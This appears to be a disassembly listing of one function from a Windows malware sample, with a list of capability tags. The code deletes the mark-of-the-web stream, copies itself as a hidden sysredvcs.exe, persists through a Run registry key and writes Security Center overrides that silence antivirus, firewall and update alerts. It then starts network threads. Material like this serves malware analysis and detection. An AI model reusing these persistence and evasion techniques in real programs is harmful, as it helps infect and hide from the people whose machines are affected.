Function at 0x405b40
Capabilities:
Bypass mark of the web
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Delete file
Initialize winsock library
Move file
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x83c], 0x2346
mov eax, dword [ebp - 0x214]
cmp eax, dword [ebp - 0x83c]
jae 0x405bbc
push str.48d8d8f8f88d88d88d88f8d8
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x405bab
push str.572837592798523959823897589237
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.588d8f88g888d99d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.35793752938572973587
push str.293742939823497
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
jmp 0x405b68
push str.550032
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xa4c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405be6
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x20c], 1
push 0x105
push 0x413310
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x413310
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x210], eax
push 0x413310
push str._s:Zone.Identifier
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea ecx, [ebp - 0xa48]
push ecx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0xbe4], str.sysredvcs.exe
mov edx, dword [ebp - 0x210]
mov dword [ebp - 0xbe8], edx
mov eax, dword [ebp - 0xbe8]
mov cx, word [eax]
mov word [ebp - 0xbea], cx
mov edx, dword [ebp - 0xbe4]
cmp cx, word [edx]
jne 0x405cd7
cmp word [ebp - 0xbea], 0
je 0x405ccb
mov eax, dword [ebp - 0xbe8]
mov cx, word [eax + 2]
mov word [ebp - 0xbec], cx
mov edx, dword [ebp - 0xbe4]
cmp cx, word [edx + 2]
jne 0x405cd7
add dword [ebp - 0xbe8], 4
add dword [ebp - 0xbe4], 4
cmp word [ebp - 0xbec], 0
jne 0x405c71
mov dword [ebp - 0xbf0], 0
jmp 0x405ce2
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0xbf0], eax
mov ecx, dword [ebp - 0xbf0]
mov dword [ebp - 0xbf4], ecx
cmp dword [ebp - 0xbf4], 0
je 0x405f5e
call fcn.0040cdb0
movzx edx, al
cmp edx, 1
jne 0x405d10
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea eax, [ebp - 0x838]
push eax
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.sysredvcs.exe
lea ecx, [ebp - 0x838]
push ecx
push 0x41024c
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x630]
push eax
push 0x413310
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x405e3d
push 3
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x424]
push edx
push 0x20006
push 0
push 0x410258
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405e1e
lea eax, [ebp - 0x630]
mov dword [ebp - 0xbf8], eax
mov ecx, dword [ebp - 0xbf8]
add ecx, 2
mov dword [ebp - 0xbfc], ecx
mov edx, dword [ebp - 0xbf8]
mov ax, word [edx]
mov word [ebp - 0xbfe], ax
add dword [ebp - 0xbf8], 2
cmp word [ebp - 0xbfe], 0
jne 0x405db4
mov ecx, dword [ebp - 0xbf8]
sub ecx, dword [ebp - 0xbfc]
sar ecx, 1
mov dword [ebp - 0xc04], ecx
mov edx, dword [ebp - 0xc04]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x630]
push ecx
push 1
push 0
push str.Windows_Settings
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x630]
push ecx
call fcn.0040d050
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x405e3d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.sysredvcs.exe
lea eax, [ebp - 0xa48]
push eax
push 0x4102b8
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x420]
push edx
push 0x413310
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x405f5e
push 3
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x424]
push ecx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405f3f
lea edx, [ebp - 0x420]
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xc08]
add eax, 2
mov dword [ebp - 0xc0c], eax
mov ecx, dword [ebp - 0xc08]
mov dx, word [ecx]
mov word [ebp - 0xc0e], dx
add dword [ebp - 0xc08], 2
cmp word [ebp - 0xc0e], 0
jne 0x405ed5
mov eax, dword [ebp - 0xc08]
sub eax, dword [ebp - 0xc0c]
sar eax, 1
mov dword [ebp - 0xc14], eax
mov ecx, dword [ebp - 0xc14]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x420]
push eax
push 1
push 0
push str.Windows_Settings
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x420]
push eax
call fcn.0040d050
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x405f5e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x424]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406075
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x410348
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x41035c
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x410374
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x410388
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x41039c
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x4103b4
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4103c4
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x424]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406181
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.FirewallOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.FirewallDisableNotify
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.AntiSpywareOverride
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.AntiVirusOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.AntiVirusDisableNotify
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.UpdatesOverride
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.UpdatesDisableNotify
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040ae80
movzx ecx, al
test ecx, ecx
je 0x4062ec
lea edx, [ebp - 0xbe0]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0xa48]
push eax
push str._s_tnnodes.dat
push 0x413520
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0xa48]
push ecx
push str._s_tncmds.dat
push 0x412f00
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x404120
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x4051d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405a20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00404320
call fcn.0040cce0
call fcn.004058d0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x413744], eax
call fcn.0040a5b0
mov dword [0x41374c], eax
call fcn.0040b7b0
mov dword [0x413748], eax
call fcn.00409a00
push 0
push 0
push 0
push 0x40bc70
push 0
mov edx, dword [0x413748]
push edx
call fcn.0040b860
add esp, 0x18
push 0
push 0
push 0
push 0x40bbd0
push 0
mov eax, dword [0x413748]
push eax
call fcn.0040b860
add esp, 0x18
push 0
push 0
push 0
push 0x40b760
push 0
mov ecx, dword [0x413748]
push ecx
call fcn.0040b860
add esp, 0x18
push 0
push 0
push 0
push 0x40b560
push 0
mov edx, dword [0x413748]
push edx
call fcn.0040b860
add esp, 0x18
jmp 0x4062f0
xor eax, eax
mov esp, ebp
pop ebp
ret